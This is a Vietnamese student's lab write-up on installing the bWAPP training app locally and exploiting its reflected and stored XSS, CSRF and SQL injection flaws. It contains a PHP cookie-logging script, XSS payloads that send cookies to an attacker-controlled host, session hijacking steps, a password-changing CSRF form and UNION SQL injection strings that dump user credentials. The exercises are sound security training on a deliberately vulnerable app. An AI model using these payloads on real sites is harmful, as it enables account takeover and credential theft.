Vì hướng dẫn của cô cứ thiêu thiếu sao ấy, làm theo hướng dẫn khiến mình stuck một vài chỗ nên mình sẽ làm lại hướng dẫn này.

Hướng dẫn cài đặt bWAPP cùng với XAMPP

Tải bWAPP

Mình chọn việc cài luôn bWAPP cùng với XAMPP luôn, không phải cài máy ảo làm gì cho mất thời gian.

Truy cập http://www.itsecgames.com/download.htm để tải bWAPP

Ai cài máy ảo thì chọn cái bee-box bên dưới và tự mày mò cách cài nhé. Mình không không chọn hướng đó nên không hướng dẫn đâu.

Khi tải file, có thể bạn sẽ bị chặn như này:

Thì bạn tắt Windows Defender đi rồi tải lại thử xem sao nhé.

Giải nén và đặt vào htdocs

Sau khi đã tải về được thì giải nén ra và bỏ nguyên thư mục vừa giải nén ra được vào htdocs

Cài đặt

Có cái file install.txt như hình bên trên kìa, bạn tự đọc và cài đặt theo hướng dẫn trong đó là được

Tóm tắt (với Windows) thì

  • Đầu tiên vào sửa thông tin để đăng nhập vào database của bạn (nếu database mysql của bạn đã thay đổi so với mặc định), sửa file setting ở bWAPP/admin/settings.php
  • Sửa xong thì truy cập vào đường dẫn đến trang cài đặt là http://localhost/bWAPP/install.php để cài. Lúc này database của bWAPP sẽ được cài đặt vào database của bạn
  • Cài xong thì vào trang đăng nhập: http://localhost/bWAPP/login.php
  • Đăng nhập tài khoản mặc định bee với mật khẩu bug
  • Xong

XSS

Nhiệm vụ 1: Thực hành khai thác XSS phản xạ sử dụng phương thức GET mức độ dễ

Sau khi đăng nhập vào bWAPP chọn đến bài XSS - Reflected (GET), chọn level là low rồi nhấn Hack

Xác định lỗi XSS

Nhập thử dữ liệu vào 2 ô nhập, thấy có kết quả trả về

Đồng thời cũng thấy dữ liệu được gửi thông qua URL:

Kiểm tra lỗi XSS

Chèn thử <script>alert("XSS")</script> vào một ô bất kì, ô còn lại điền cái gì cũng được nhưng phải điền

Đã thấy xuất hiện pop-up, do đó có thể thực hiện khai thác XSS

Khai thác lỗi XSS

Sử dụng kỹ thuật lấy cookie

Trong hướng dẫn của cô thì kẻ tấn công sử dụng một web được host free, nhưng vì chúng ta đang có xampp nên cách thực hiện của mình là host bằng xampp luôn.

Đầu tiên là tạo một thư mục đại diện cho trang web của hacker trong htdocs

Trong thư mục hacker ấy, tạo 2 file là get.php (để viết mã đánh cắp cookie) và get.txt (lưu cookie được đánh cắp)

Mã trong file get.php:

<?php
if(isset($_GET['cookie']))
{
    $cookie = $_GET['cookie'];
    // Mở file get.txt (hoặc cookie.txt), tham số 'a' để append (thêm dữ liệu)
    $f = fopen('get.txt', 'a');
    // Ghi referrer (nguồn gửi)
    fwrite($f, $_SERVER['HTTP_REFERER']);
    // Ghi cookie
    fwrite($f, ". Cookie la: " . $cookie . " \n");
    // Đóng file
    fclose($f);
}
?>

Viết Payload khai thác XSS

Chỉnh sửa lại payload của cô cho phù hợp với trường hợp của mình sẽ là như này: <script>window.open("http://localhost:8080/hacker/get.php?cookie="+document.cookie)</script>

Giải thích: đoạn script này khi thành công sẽ truy cập vào http://localhost:8080/hacker/ để thực hiện file get.php với tham số truyền vào là cookie sẽ mang giá trị document.cookie chính là giá trị của cookie hiện tại của người dùng.

Khai thác

Chèn payload vào một trong hai ô nhập ban đầu (ô còn lại phải nhập gì đó, không để trống vì đơn giản là bWAPP bắt buộc phải nhập cả 2 trường này không thì nó sẽ báo lỗi)

Sau khi payload được gửi, đúng quy trình thì một tab mới sẽ nhảy ra như này:

Nhưng nếu bạn không thấy gì xảy ra thì có thể là bạn đang chặn cửa sổ bật lên, nên hãy kiểm tra lại và cho phép pop-up hiện lên:

Sau khi get.php đã được chạy, kiểm tra file get.txt xem cookie đã được lấy hay chưa

Đã lấy thành công cookie

Đăng nhập bằng cookie lấy được

Mở trang đăng nhập bWAPP trên một trình duyệt khác hoặc một hồ sơ người dùng khác:

Mở DevTools (F12) -> Application -> Sửa giá trị PHPSESSION thành giá trị vừa thu thập được trong file get.txt

Reload lại trang và bumpppp, không có gì thay đổi dù cookie đã sửa :»»»

Cái chỗ này làm mình stuck :> nhưng sau khi tìm hiểu thì mình phát hiện ra việc chèn cookie lại không khiến bWAPP tự động chuyển hướng đến trang sau đăng nhập nên khiến mình tưởng việc khai thác không thành công

Nhưng thật ra là ta phải tự truy cập vào trang sau đăng nhập (portal.php) thì sẽ cho ta thấy kết quả đăng nhập thành công với phiên của người dùng vừa bị đánh cắp cookie

Bạn có thể kiểm chứng lại bằng việc tạo và đăng nhập một tài khoản khác, khác tài khoản mặc định.

Vậy là hoàn thành nhiệm vụ 1.

Nhiệm vụ này theo hướng dẫn thì còn làm một trang giả mạo để dụ người dùng click nữa nhưng mình lược bỏ, tập trung vào cốt lõi nên không trình bày đoạn làm trang giả mạo ở đây nhé 😁

Nhiệm vụ 2: Thực hành khai thác XSS phản xạ sử dụng phương thức GET mức độ trung bình

Xác định lỗi

Làm tương tự như ở mức độ dễ, nhưng khi truyền một đoạn mã java script để thực hiện tạo một popup thông báo để kiểm tra xem site có bị lỗi XSS hay không?

Nhấn Go thì không thấy phản ứng gì

F12 để kiểm tra trang thì thấy

So với payload truyền vào là <script>alert("XSS")</script> thì kết quả lại là <script>alert(\"XSS\")</script> cho thấy đầu vào đã bị escape

Thử vượt qua cơ chế lọc với một payload khác: <script>alert(String.fromCharCode(88, 83, 83))</script>

Kết quả:

=> Vẫn còn lỗi XSS

Khai thác lỗi

Phần hướng dẫn có cung cấp một vài payload khác để vượt qua bộ lọc.

Vì mục tiêu vẫn sẽ là đánh cắp cookie, nên mình sẽ sử dụng payload: "><script>alert(document.cookie)</script>

Kết quả:

Lại sử dụng một trình duyệt khác để chèn cookie vừa lấy được vào để đăng nhập

Truy cập vào trang portal

Đăng nhập thành công

Nhiệm vụ 3. Thực hành tấn công XSS phản xạ sử dụng chuỗi JSON mức dễ

Chọn bài XSS - Reflected (JSON) level low

Xác định lỗi

Nhập thử gì đó vào ô tìm kiếm

Thử với một payload khác: <script>alert("AT190447")</script>

F12 để kiểm tra:

Lý do đoạn java script truyền vào không được thực hiện là do nó đã nằm trong một đoạn mã java cript có sẵn của site đó. Để ý kĩ thấy để đóng được chuỗi var JSONResponseString, ta dùng chuỗi kí tự “}]}’;

Bây giờ thử đóng chuỗi var JSONResponseString và thêm alert(‘XSS’) để kết thúc một đoạn java script. Đoạn java script mới sẽ được hình thành:

<script>
	var JSONResponseString = '{"movies":[{"response":"abc??? 
	Sorry, we don&#039;t have that movie:("}]}';alert('XSS')
</script>

Payload mới: "}]}';alert('XSS')

Kết quả

Cho thấy có thể khai thác XSS.

Khai thác lỗi

Mục tiêu vẫn là đánh cắp cookie, payload: "}]}';alert(document.cookie)</script>

Đã đánh cắp cookie thành công

Nhiệm vụ 4. Thực hành tấn công XSS phản xạ sử dụng thuộc tính HREF mực độ dễ

Yêu cầu đầu tiên là nhập vào mã sinh viên

Nhưng bWAPP của mình lại bị lỗi

Nguyên nhân do: gọi mysqli_select_db() sai thứ tự tham số — hàm mong đợi đối tượng kết nối mysqli (resource) là tham số thứ nhất, còn bạn truyền chuỗi tên database ở vị trí thứ nhất. Nói ngắn: bạn đang đổi ngược tham số.

Sửa lại connect.php

Save và thử gửi lại mã sinh viên, kết quả:

Nguyên nhân: lỗi này là do mysql_query() (và các mysql_* khác) không tồn tại trên PHP 7+ (mà tôi đang dùng XAMPP với PHP 8+)

Giải pháp tốt nhất (khuyến nghị): chuyển toàn bộ code từ mysql_*mysqli

Sau khi sửa xong thì chạy lại:

Kiểm tra lỗi

Truyền vào <script>alert("XSS")</script>, kết quả:

Ctrl-U kiểm tra: Ta thấy payload gửi đi đã được HTML-escaped

Do đó ta sử dụng một payload khác để bỏ qua cơ chế escape: "><script >alert("XSS")</script>

=> Có thể khai thác XSS

Khai thác

Sửa lại payload trên để thực hiện đánh cắp cookie: "><script >alert(document.cookie)</script>

Kết quả:

Sử dụng cookie vừa lấy được để đăng nhập như các nhiệm vụ trước

Nhiệm vụ 5. Thực hành tấn công XSS lưu trữ dạng Blog mức độ dễ

Xác định lỗi

Ta nhập thử dữ liệu vào ô nhập và submit

Ta thấy dữ liệu nhập vào sau khi submit được hiển thị ở cột entry

Thử submit đoạn script cơ bản: <script >alert("XSS")</script>

Kết quả:

=> Có thể khai thác

Khai thác

Kỹ thuật lấy cookie (Trình bày trong phần giới thiệu) Tương tự như nhiệm vụ 1, chỉ khác ở chỗ đoạn javascript có nhiệm cụ đánh cắp cookie của người dùng sẽ được lưu trữ trên server. Ở đây sau khi chèn đoạn mã javascript gửi lên server.

<script>window.open("http://localhost:8080/hacker/get.php?cookie="+document.cookie)</script>

Đoạn javascript đã được thực hiện. Từ bây giờ khi mỗi người dùng truy cập đến trang XSS - Stored (Blog) thì đoạn mã java script sẽ được thực thi để lấy cookie của người dùng gửi về file get.txt trên host của hacker đã dựng sẵn.

Đầu tiên, ta gửi payload sau từ tài khoản mặc định Bee:

<script>window.open("http://localhost:8080/hacker/get.php?cookie="+document.cookie)</script>

Sau khi submit:

file get.txt:

Tiếp theo, đăng nhập với một tài khoản khác:

Truy cập vào lỗ hổng XSS Stored

Tại đây, có vẻ như bWAPP đang mặc định ẩn đi những dữ liệu không phải do người dùng (người đang đăng nhập) nhập vào nên sẽ không thấy bị tấn công, nhưng chỉ cần tích chọn vào ô “Show all” thì những dữ liệu của những người dùng khác đã nhập vào cũng sẽ được hiển thị và khi đó đoạn script khai thác cũng sẽ được thực thi với phiên của người dùng hiện tại

Tích chọn Show all và submit lại

Kết quả: File get.txt

Thực hiện sử dụng cookie để đăng nhập như các nhiệm vụ trước.

CSRF

Nhiệm vụ 1. Thực hành khai thác (Change Password) mức độ dễ

Ở nhiệm vụ này cần sử dụng burpsuite nên mình sẽ chuyển sang máy ảo Kali đang có sẵn burpsuite, cấu hình mạng của máy ảo là brigded để có thể truy cập vào bWAPP đang host trên máy thật.

Mở burpsuite, mở trình duyệt của burpsuite và truy cập vào bWAPP theo đường dẫn như trên máy thật nhưng thay localhost bằng địa chỉ ip máy thật

Trở lại BurpSuite, bật intercept lên

Trở lại bWAPP, điền vào mật khẩu mới và nhấn Change

Burpsuite sẽ bật lên

Ở đây thấy dữ liệu được gửi lên theo phương thức GET. Trên Burp Suite có chức năng Generate CSRF PoC. Sẽ tạo ra 1 đoạn code html có nhiệm vụ thực hiện yêu cầu của người dùng. Nhưng do mình dùng bản BurpSuite Community nên sẽ không thể sử dụng tính năng này, thay vào đó có thể dùng các tool trên mạng thay thế

Mình tìm thấy một trang có hỗ trợ Generate CSRF PoC là: https://csrfshark.github.io/app/ Copy nội dung request trong BurpSuite và dán vào web trên, kết quả:

Lưu lại result bên phải lại. File HTML này để kẻ tấn công có thể tùy chỉnh nội dung theo ý muốn của hắn và dụ người dùng truy cập vào sẽ khiến nội dung được thay đổi theo ý của kẻ tấn công

Dán result kia vào trình soạn thảo để tùy chỉnh, ở đây ta thay đổi mật khẩu theo ý muốn.

Ban đầu người dùng muốn đổi mật khẩu là “ducthang” nhưng tại đây ta tùy chỉnh lại thành “hackerpassword”

Đặt tên và chọn đích để lưu file

Đã tạo xong file khai thác CSRF, thực hiện lại quá trình đổi mật khẩu trên cửa sổ trình duyệt khác so với trình duyệt của BurpSuite để kiểm tra kết quả:

Mở file csrf.html vừa lưu lên, nhấn submit để thực hiện gửi request với yêu cầu đã bị chỉnh sửa.

Có thể bạn sẽ gặp lỗi như này:

Mình đoán do mở file .html thì trình duyệt tự thêm https:// nên gây ra lỗi, để thực hiện thành công thì xóa phần này đi, chỉ để lại từ địa chỉ IP là được.

Kết quả:

Khai thác thành công!

Có thể thử đăng nhập lại bằng mật khẩu mà đã thay đổi trong file csrf.html để kiểm tra.

SQL

Nhiệm vụ 1. SQL Injection (Login Form/Hero)

Sau khi nhập vào câu truy vấn cơ bản thì gặp lỗi giống mấy nhiệm vụ bên trên.

Để ChatGPT sửa thôi.

Trở lại với việc chính, sau khi sửa xong, ta thử lại

Kết quả:

Nhiệm vụ 2. SQL Injection (GET/Search)

Thử một tìm kiếm bất kì, gặp lỗi:

Sửa lỗi rồi thực hiện lại, để chatgpt sửa, cơ bản thì cú pháp mysql sai, phải là mysqli

Sau khi sửa xong, thực hiện theo hướng dẫn

Bước 4: tayduky' union select 1,2,3,4,5,6,7-- -

Bước 5: tayduky' union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()-- -

Bước 6: tayduky' union select 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name='users'-- -

Bước 7: tayduky' union select 1,2,3,4,group_concat(login,0x3a,password,0x3a,email),6,7 from users-- -

Nhiệm vụ 3. SQL Injection – Blind – Boolean Based

–còn tiếp–